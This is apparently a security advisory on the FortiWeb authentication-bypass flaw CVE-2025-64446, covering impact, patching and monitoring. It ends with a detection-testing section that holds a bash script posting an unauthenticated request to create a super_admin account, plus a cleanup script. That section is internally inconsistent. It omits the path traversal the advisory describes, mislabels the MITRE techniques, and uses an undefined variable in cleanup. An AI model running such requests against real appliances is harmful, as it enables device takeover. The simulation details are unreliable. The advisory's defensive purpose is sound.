Fortinet FortiWeb Authentication Bypass via Path Traversal Vulnerability (CVE-2025-64446)

Summary

A newly disclosed critical authentication bypass vulnerability in Fortinet FortiWeb, tracked as CVE-2025-64446, enables unauthenticated attackers to create administrative accounts through a crafted path-traversal request. According to publicly available reporting, the vulnerability has been actively exploited since early October 2025 and was later added to official threat catalogs due to its severity. Successful exploitation provides full control over the affected WAF appliance and may allow threat actors to pivot deeper into internal networks. Early CVE-2025-64446 investigation indicates that exploitation attempts continue to target internet-exposed FortiWeb devices at scale.

CVE-2025-64446 Analysis

CVE-2025-64446 affects multiple FortiWeb versions, allowing attackers to send a crafted malicious HTTP POST request to the API endpoint. The directory traversal sequence enables access to the administrative CGI script responsible for user creation. This results in a new admin account on the device, granting complete adversary control. Since FortiWeb devices operate closely alongside other Fortinet products, this vulnerability introduces wider ecosystem exposure, meaning a successful breach could enable attackers to move laterally and compromise additional connected systems and services. Previously observed attacks on FortiWeb (including activity around CVE-2025-25257) reinforce the likelihood of continued targeting.

Mitigation

Fortinet has released patches for all affected versions. Immediate CVE-2025-64446 mitigation requires upgrading to the latest fixed release product version 8.0.2. Recommended mitigations include restricting management interface access to trusted IP addresses or a VPN, enforcing MFA for administrative access, rotating credentials for all FortiWeb admin accounts, monitoring admin API activity for anomalous user creation events, and removing HTTP/HTTPS management exposure from the public internet. Organizations should also follow internal patch-testing procedures to avoid operational disruption.

Response

Security teams should confirm version inventory, apply patches without delay, and disable external management access if immediate upgrading is not possible. Given active exploitation attempts, it’s advisable to enhance monitoring for suspicious POST requests targeting the vulnerable API path. If existing accounts show unexpected changes, rotate credentials and review audit logs at an increased frequency. Collecting CVE-2025-64446 IOCs, reviewing traffic patterns, and correlating them with recent exploit activity will improve visibility and reduce risk.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Reconnaissance (T1016.001): The attacker discovers the public IP of the FortiWeb appliance via open‑source intelligence.
  2. Credential Harvesting / Privilege Escalation (T1567.004): Using the uncovered CVE‑2025‑64446, the attacker crafts a malicious POST payload that creates a new admin user with full privileges.
  3. Execution: The attacker sends the crafted request over HTTPS, ensuring the request_method is POST and the request_uri exactly matches /api/v2.0/cmdb/system/admin.

• Regression Test Script:

  #!/usr/bin/env bash
  # Exploit CVE-2025-64446 to create a new FortiWeb admin account
  # Adjust variables as needed for the target environment
  
  TARGET="https://fortiweb.example.com"
  ENDPOINT="/api/v2.0/cmdb/system/admin"
  NEW_USER="eviladmin"
  NEW_PASS="P@ssw0rd!2025"
  # The vulnerable API does not require authentication for this endpoint (as per CVE)
  PAYLOAD=$(cat <<EOF
  {
      "name": "${NEW_USER}",
      "password": "${NEW_PASS}",
      "privilege": "super_admin"
  }
  EOF
  )
  
  echo "[*] Sending malicious POST to ${TARGET}${ENDPOINT}"
  curl -k -X POST "${TARGET}${ENDPOINT}" \
       -H "Content-Type: application/json" \
       -d "${PAYLOAD}" \
       -o /dev/null -s -w "HTTP %{http_code}\n"
  
  echo "[*] Attack simulation complete."

• Cleanup Commands:

  #!/usr/bin/env bash
  # Remove the malicious admin account created during the test
  TARGET="https://fortiweb.example.com"
  ENDPOINT="/api/v2.0/cmdb/system/admin/${NEW_USER}"
  
  echo "[*] Deleting test admin account ${NEW_USER}"
  curl -k -X DELETE "${TARGET}${ENDPOINT}" \
       -H "Content-Type: application/json" \
       -o /dev/null -s -w "HTTP %{http_code}\n"
  
  echo "[*] Cleanup complete."